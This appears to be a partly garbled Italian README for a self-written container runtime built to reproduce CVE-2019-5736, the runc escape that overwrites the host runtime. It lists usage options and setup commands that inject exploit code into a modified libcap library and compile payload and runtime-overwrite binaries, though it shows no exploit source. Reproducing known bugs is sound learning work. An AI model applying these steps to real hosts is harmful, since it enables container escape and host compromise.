
CVE-2019-5736 implementato in un runtime container scritto da sé per comprendere l'exploit.
CVE-2019-5736 implementato utilizzando un runtime container superficiale e scritto autonomamente per comprendere l'exploit.
L'exploit si basa su (e quasi interamente copiato da) il runc-poc di twistlock: https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/malicious_image_POC
Vedere la documentazione del codice per ulteriori dettagli.
Usage: quarantine [OPTIONS] [BINARY and its ARGS]
--rootfs: (mandatory) Specify a rootfs for the container.
--urange: Specify a urange start_host:end_host,start_guest.
--grange: Specify a grange start_host:end_host,start_guest.
--uid: Specify the desired UID in the container.
--ugd: Specify the desired GID in the container.
--supp: Append supplementary groups from the specified grange to the process running in the container.
Disassocia tutti i namespace tranne il namespace utente. Il namespace utente viene disassociato in circostanze speciali, cioè quando vengono specificati urange, , e / o .
grangeuidgidTestato e realizzato su Ubuntu 18.04.
mkdir rootfssudo debootstrap bionic ./rootfsgit clone https://github.com/mhiramat/libcapcat exploit_code_for_shared_lib.c >> <any cap*.c, I used cap_alloc.c>makelibcap.so modificato
sudo chroot rootfsapt install libcap-devlibcap.so.2.25 creato nella directory rootfs appropriata
sudo cp libcap.so.2.25 rootfs/lib/x86_64-linux-gnuldd quarantinesudo cp shebang_exploit rootfs/sudo gcc -o rootfs/root/payload payload.csudo gcc -o rootfs/overwrite_sndbx_runtime overwrite_sndbx_runtime.cAd esempio: sudo ./quarantine --rootfs rootfs /shebang_exploit oppure ./quarantine --rootfs rootfs --uid 1 /shebang_exploit.
Funziona finché mantieni CAP_DAC_OVERRIDE o CAP_SYS_ADMIN sull'host, cioè non disassociare il namespace utente quando usi sudo (poiché questo rimuove le capacità nel namespace parent), oppure possiedi il file sull'host.